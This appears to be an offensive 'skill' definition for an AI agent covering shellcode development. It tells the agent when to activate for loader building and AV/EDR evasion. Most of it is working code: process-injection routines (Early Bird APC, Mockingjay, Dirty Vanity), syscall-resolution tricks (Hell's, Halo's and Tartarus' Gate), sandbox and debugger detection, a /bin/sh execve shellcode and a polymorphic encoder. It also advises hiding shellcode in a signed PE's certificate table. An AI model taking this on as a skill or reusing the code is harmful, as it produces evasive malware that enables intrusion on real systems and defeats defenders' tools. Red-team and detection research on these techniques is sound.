| name | shellcode-dev |
| description | Use when writing position-independent shellcode or a loader — PEB walking, API hashing, null-byte avoidance, encoders, loaders, PE-to-shellcode conversion, cross-platform shellcode |
| metadata | {"type":"offensive","phase":"exploitation","tools":"keystone, nasm, msfvenom, donut, srdi, pwntools"} |
| kill_chain | {"phase":["weaponize"],"step":[2],"attck_tactics":["TA0042"]} |
| depends_on | ["exploit-development","coding-mastery"] |
| feeds_into | ["edr-evasion","initial-access"] |
| inputs | ["target_architecture","payload_constraints"] |
| outputs | ["shellcode","loader","injector"] |
Shellcode Development
When to Activate
- Writing custom x86/x64 shellcode
- Implementing position-independent code (PIC)
- Building shellcode loaders for implant delivery
- Evading AV/EDR static detection
- Converting PE files to shellcode
- Cross-platform shellcode development
Execution Pattern (Allocate-Write-Execute)
Avoid direct PAGE_EXECUTE_READWRITE — prefer two-step:
char *dest = VirtualAlloc(NULL, size, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
memcpy(dest, shellcode, size);
VirtualProtect(dest, size, PAGE_EXECUTE_READ, &old);
((void(*)())dest)();
Position-Independent Code (PIC)
| Method | Platform | Notes |
|---|
| Call/Pop | Windows | Push next addr, pop into register |
| FPU state (fstenv) | Windows | Saves instruction pointer |
| SEH | Windows | Exception handler stores EIP |
| RIP-relative | x64 | lea rax, [rip+offset] |
| GOT | Linux | Global Offset Table |
| VDSO | Linux | Kernel-provided shared object |
Windows API Resolution (PEB Walk)
; x64 PEB walk to find kernel32.dll base
find_kernel32:
xor rcx, rcx
mov rax, gs:[rcx + 0x60] ; RAX = PEB
mov rax, [rax + 0x18] ; RAX = PEB->Ldr
mov rsi, [rax + 0x20] ; RSI = InMemoryOrderModuleList
lodsq ; skip first entry (exe)
xchg rax, rsi
lodsq ; skip ntdll
mov rbx, [rax + 0x20] ; RBX = kernel32 base address
Export Address Table (EAT) Parsing
; Parse EAT to find GetProcAddress
mov ebx, [rbx + 0x3C] ; PE signature offset
add rbx, r8 ; PE header
mov edx, [rbx + 0x88] ; Export Directory RVA
add rdx, r8 ; Export Directory VA
mov r10d, [rdx + 0x14] ; NumberOfFunctions
mov r11d, [rdx + 0x20] ; AddressOfNames RVA
add r11, r8 ; AddressOfNames VA
; Loop through names, compare hash/string
API Hashing (ROR13)
def ror13_hash(name):
hash_val = 0
for c in name:
hash_val = ((hash_val >> 13) | (hash_val << 19)) & 0xFFFFFFFF
hash_val = (hash_val + ord(c)) & 0xFFFFFFFF
return hash_val
Null-Byte Avoidance
| Problem | Solution |
|---|
mov rax, 0 | xor rax, rax |
mov eax, 0x00000001 | xor eax, eax; inc eax |
| String with null terminator | Push string in reverse, use stack pointer |
add rsp, 0x200 | sub rsp, 0xfffffffffffffdf8 (two's complement) |
| Zero in immediate | Use sub from known value, or XOR encoding |
Shellcode Loaders
Loader Responsibilities
- Environment verification / keying (sandbox detection)
- Shellcode decryption (XOR, RC4, AES)
- Safe memory allocation and injection
- Execution transfer
Recommended Languages
- Zig: Small binary, no runtime, good for loaders
- Rust: Memory-safe, no runtime overhead
- Nim: Compiles to C, small binaries
- Go: Cross-platform but watch for runtime signatures
Allocation Strategies
LPVOID mem = VirtualAlloc(NULL, size, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
memcpy(mem, shellcode, size);
VirtualProtect(mem, size, PAGE_EXECUTE_READ, &old);
HANDLE hSection;
NtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, &maxSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL);
NtMapViewOfSection(hSection, GetCurrentProcess(), &localView, 0, 0, NULL, &viewSize, ViewUnmap, 0, PAGE_READWRITE);
NtMapViewOfSection(hSection, GetCurrentProcess(), &execView, 0, 0, NULL, &viewSize, ViewUnmap, 0, PAGE_EXECUTE_READ);
Evasion Tips for Write Phase
- Prepend shellcode with dummy NOPs/garbage opcodes
- Split into chunks, write in randomized order
- Add random delays between writes
- Use
NtWriteVirtualMemory instead of memcpy for remote injection
Execution Methods
| Technique | Detection Risk | Notes |
|---|
| CreateRemoteThread | HIGH | Heavily monitored by all EDRs |
| NtQueueApcThreadEx | MEDIUM | APC injection, less monitored |
| NtSetContextThread | MEDIUM | Hijack suspended thread context |
| Callback functions | LOW | VirtualAlloc + EnumWindows callback |
| Fiber execution | LOW | ConvertThreadToFiber + CreateFiber |
| ThreadlessInject | VERY LOW | Overwrite rarely-called export |
| Trampoline (DripLoader) | LOW | JMP to shellcode from ntdll function |
PE-to-Shellcode Conversion
| Tool | Purpose |
|---|
| Donut | EXE/DLL/VBS/JS → position-independent shellcode |
| sRDI | DLL → reflective shellcode |
| Pe2shc | PE → shellcode with custom loader |
| Amber | Reflective PE packer with evasion |
Shellcode Storage & Hiding
| Location | Risk | Notes |
|---|
| Hardcoded in .text | Medium | Requires recompile |
| PE Resources (RCDATA) | High | Most scanned by AV |
| Certificate Table | Low | Keeps PE signature intact |
| Extra PE section | Medium | Use second-to-last section |
| Internet-hosted | Variable | Downloaded at runtime |
| Registry values | Medium | Stored as binary data |
| Alternate Data Streams | Low | NTFS-specific, less scanned |
Certificate Table Technique (Recommended)
- Pad Certificate Table with shellcode bytes
- Update PE headers to reflect new size
- Main executable signature remains valid
- Only the loader DLL signature breaks
- Protection: compress (LZMA) + encrypt (AES/RC4/XOR32) before storing
DripLoader Pattern
1. Reserve 64KB chunks with NO_ACCESS
2. Allocate 4KB RW chunks within that pool
3. Write shellcode in chunks in randomized order
4. Re-protect to RX
5. Overwrite prologue of ntdll!RtlpWow64CtxFromAmd64 with JMP trampoline
6. All calls via direct syscalls (NtAllocateVirtualMemory, NtWriteVirtualMemory, NtCreateThreadEx)
Cross-Platform Considerations
Windows on ARM64 (WoA)
- Syscalls use
SVC 0 with ARM64 syscall table
- Pointer Authentication (PAC) signs LR — avoid stack pivots or re-sign with PACIASP
- Different register conventions (x0-x7 for args, x8 for syscall number)
Linux x64
; execve("/bin/sh", NULL, NULL)
xor rsi, rsi
mul rsi ; rax=0, rdx=0
push rsi
mov rdi, 0x68732f2f6e69622f ; /bin//sh
push rdi
push rsp
pop rdi ; rdi = pointer to "/bin//sh"
mov al, 59 ; syscall number for execve
syscall
macOS (Apple Silicon)
- Syscall numbers offset by 0x2000000 (e.g., execve = 0x200003B)
- Code signing enforcement — unsigned code won't execute without entitlements
- Hardened runtime prevents most injection techniques
Windows 11 24H2 Notes
- AMSI heap scanning active: allocate PAGE_NOACCESS → decrypt in place → PAGE_EXECUTE_READ
- Smart App Control blocks unsigned outbound connections
- Enhanced stack tracing checks full call chain
Advanced: Modern Injection Techniques
Early Bird APC Injection
STARTUPINFOA si = { sizeof(si) };
PROCESS_INFORMATION pi;
CreateProcessA("C:\\Windows\\System32\\svchost.exe", NULL, NULL, NULL, FALSE,
CREATE_SUSPENDED, NULL, NULL, &si, &pi);
LPVOID base = VirtualAllocEx(pi.hProcess, NULL, scSize, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
WriteProcessMemory(pi.hProcess, base, shellcode, scSize, NULL);
VirtualProtectEx(pi.hProcess, base, scSize, PAGE_EXECUTE_READ, &old);
QueueUserAPC((PAPCFUNC)base, pi.hThread, 0);
ResumeThread(pi.hThread);
Threadless Injection (Hook-Based)
PVOID hookAddr = GetRemoteProcAddress(hProcess, "ntdll.dll", "NtWaitForSingleObject");
BYTE trampoline[] = {
0x50,
0x48, 0xB8, 0,0,0,0,0,0,0,0,
0xFF, 0xD0,
0x58,
0xE9, 0,0,0,0
};
Pool Party (Thread Pool Injection)
Mockingjay (RWX Section Abuse)
HMODULE hMod = LoadLibraryA("msys-2.0.dll");
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((BYTE*)hMod + ((PIMAGE_DOS_HEADER)hMod)->e_lfanew);
PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(nt);
for (int i = 0; i < nt->FileHeader.NumberOfSections; i++) {
if ((sec[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) &&
(sec[i].Characteristics & IMAGE_SCN_MEM_WRITE)) {
PVOID rwx = (BYTE*)hMod + sec[i].VirtualAddress;
memcpy(rwx, shellcode, scSize);
((void(*)())rwx)();
}
}
Dirty Vanity (Process Forking)
HANDLE hFork;
NtCreateProcessEx(&hFork, PROCESS_ALL_ACCESS, NULL, GetCurrentProcess(),
0, NULL, NULL, NULL, 0);
NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, hFork,
shellcodeAddr, NULL, 0, 0, 0, 0, NULL);
Advanced: Syscall Techniques
Hell's Gate (Runtime SSN Resolution)
DWORD GetSSN(PVOID funcAddr) {
BYTE* p = (BYTE*)funcAddr;
if (p[0] == 0x4C && p[1] == 0x8B && p[2] == 0xD1 &&
p[3] == 0xB8) {
return *(DWORD*)(p + 4);
}
return 0;
}
Halo's Gate (Hooked SSN Recovery)
DWORD GetSSNHalosGate(PVOID funcAddr) {
BYTE* p = (BYTE*)funcAddr;
if (p[0] == 0xE9 || p[0] == 0xFF) {
for (int i = 1; i < 500; i++) {
BYTE* neighbor = p - (i * 32);
if (neighbor[0] == 0x4C && neighbor[1] == 0x8B && neighbor[3] == 0xB8) {
return *(DWORD*)(neighbor + 4) + i;
}
neighbor = p + (i * 32);
if (neighbor[0] == 0x4C && neighbor[1] == 0x8B && neighbor[3] == 0xB8) {
return *(DWORD*)(neighbor + 4) - i;
}
}
}
return *(DWORD*)(p + 4);
}
Tartarus' Gate (Exception-Based)
DWORD GetSSNTartarus(PVOID funcAddr) {
BYTE* p = (BYTE*)funcAddr;
if (p[3] == 0xB8 && p[8] == 0xF6 && p[18] == 0x0F && p[19] == 0x05) {
return *(DWORD*)(p + 4);
}
return GetSSNHalosGate(funcAddr);
}
Indirect Syscalls
; Direct syscall: syscall instruction in your code — flagged by EDR
; Indirect syscall: jump to syscall instruction inside ntdll
; 1. Resolve SSN (Hell's/Halo's Gate)
; 2. Find syscall;ret gadget in ntdll
; 3. Set up registers, JMP to ntdll's syscall instruction
global IndirectSyscall
IndirectSyscall:
mov r10, rcx ; first arg
mov eax, [rsp+28h] ; SSN (passed as 5th arg)
jmp qword [rsp+30h] ; jump to syscall;ret in ntdll (6th arg)
; Return address on stack points back to our code
; But syscall instruction is inside ntdll — passes stack trace checks
Advanced: Anti-Analysis & Sandbox Evasion
Timing-Based Detection
ULONGLONG t1 = __rdtsc();
volatile int x = 0;
for (int i = 0; i < 100; i++) x += i;
ULONGLONG t2 = __rdtsc();
if ((t2 - t1) > 1000) return;
LARGE_INTEGER start, end, delay;
NtQuerySystemTime(&start);
delay.QuadPart = -10000000LL;
NtDelayExecution(FALSE, &delay);
NtQuerySystemTime(&end);
if ((end.QuadPart - start.QuadPart) < 9000000LL) return;
Hardware Fingerprinting
int cpuInfo[4];
__cpuid(cpuInfo, 0x40000000);
char brand[13] = {0};
memcpy(brand, &cpuInfo[1], 12);
if (strstr(brand, "VMware") || strstr(brand, "Hv")) return;
DWORD size = GetSystemFirmwareTable('RSMB', 0, NULL, 0);
BYTE* buf = malloc(size);
GetSystemFirmwareTable('RSMB', 0, buf, size);
Process Environment Checks
const char* blacklist[] = {
"x64dbg.exe", "x32dbg.exe", "ollydbg.exe", "ida.exe", "ida64.exe",
"processhacker.exe", "procmon.exe", "wireshark.exe", "fiddler.exe",
"dnspy.exe", "pestudio.exe", "die.exe"
};
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
Advanced: Metamorphic Shellcode
Self-Modifying Code
; Shellcode that rewrites itself on each execution
; Changes instruction encoding while preserving semantics
metamorphic_entry:
; Generate random key
rdtsc
mov ecx, eax
; XOR-encode the next block with new key
lea rsi, [rip + payload_start]
mov rdx, payload_size
.encode_loop:
xor byte [rsi], cl
ror cl, 3
inc rsi
dec rdx
jnz .encode_loop
; Equivalent instruction substitution
; mov rax, X → push X; pop rax
; xor rax, rax → sub rax, rax
; add rax, 1 → inc rax
; Each execution uses different encoding
Polymorphic Encoder
import os, struct, random
def polymorphic_encode(shellcode: bytes) -> bytes:
key = os.urandom(4)
decoders = [
b"\xeb\x09\x5e\x31\xc9\xb1" + bytes([len(shellcode)]) +
b"\x80\x36" + bytes([key[0]]) + b"\x46\xe2\xfa\xeb\x05\xe8\xf2\xff\xff\xff",
b"\xeb\x09\x5e\x31\xc9\xb1" + bytes([len(shellcode)]) +
b"\x80\x2e" + bytes([key[0]]) + b"\x46\xe2\xfa\xeb\x05\xe8\xf2\xff\xff\xff",
]
decoder = random.choice(decoders)
nop_equivs = [b"\x90", b"\x40\x48", b"\x66\x90", b"\x0f\x1f\x00"]
nops = b"".join(random.choice(nop_equivs) for _ in range(random.randint(2, 8)))
encoded = bytes([b ^ key[i % 4] for i, b in enumerate(shellcode)])
return nops + decoder + encoded